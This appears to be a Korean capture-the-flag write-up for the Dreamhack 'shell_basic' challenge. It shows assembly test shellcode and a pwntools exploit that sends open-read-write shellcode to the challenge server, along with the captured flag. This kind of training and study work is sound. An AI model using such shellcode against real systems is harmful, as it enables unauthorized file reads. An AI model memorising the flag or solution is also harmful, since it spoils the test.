위는 문제에 대한 설명이다.
$ cat write.asm
section .text
global _start
_start:
;/* write(fd=1, buf='hello', n=48) */
;/* push 'hello\x00' */
mov rax, 0x0a6f6c6c6568
push rax
mov rsi, rsp
push 1
pop rdi
push 0x6
pop rdx
;/* call write() */
push 1
pop rax
syscall
$ nasm -f elf64 write.asm
$ objcopy --dump-section .text=write.bin write.o
$ xxd write.bin
00000000: 48b8 6865 6c6c 6f0a 0000 5048 89e6 6a01 H.hello...PH..j.
00000010: 5f6a 065a 6a01 580f 05 _j.Zj.X..
$ cat write.bin | ./shell_basic
shellcode: hello
[1] 1592460 done cat write.bin |
1592461 segmentation fault ./shell_basic
$
문제와 함께 제공된 코드이다.
int fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
문제를 보면 flag를 출력하는 쉘 코드를 작성해야 하는데,
execve 시스템 콜을 사용할 수 없다.
그래서 orw 쉘 코드를 작성해서 문제를 풀어야 한다.
위에 코드처럼 open-read-write를 하면 되는데,
pwntools에 쉘 코드를 작성해주는 함수인 shellcraft()가 있다.
context.arch = "amd64"
path = "/home/shell_basic/flag_name_is_loooooong"
shellcode = shellcraft.open(path) # open("/home/shell_basic/flag_name_is_loooooong")
shellcode += shellcraft.read('rax', 'rsp', 0x30) # read(fd, buf, 0x30)
shellcode += shellcraft.write(1, 'rsp', 0x30) # write(stdout, buf, 0x30)
shellcode = asm(shellcode)
shellcraft() 함수를 이용해서 쉘 코드를 작성해보았다.
from pwn import *
p = remote("host1.dreamhack.games", 20000)
context.arch = "amd64"
path = "/home/shell_basic/flag_name_is_loooooong"
shellcode = shellcraft.open(path) # open("/home/shell_basic/flag_name_is_loooooong")
shellcode += shellcraft.read('rax', 'rsp', 0x30) # read(fd, buf, 0x30)
shellcode += shellcraft.write(1, 'rsp', 0x30) # write(stdout, buf, 0x30)
shellcode = asm(shellcode)
payload = shellcode
p.sendlineafter("shellcode: ", payload)
print(p.recv(0x30))
익스플로잇 코드를 작성해보았다.
$ python3 shell.py
[+] Opening connection to host1.dreamhack.games on port 20000: Done
b'DH{ca562d7cf1db6c55cb11c4ec350a3c0b}\nong\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Closed connection to host1.dreamhack.games port 20000
위와 같이 손쉽게 플래그를 얻을 수 있다.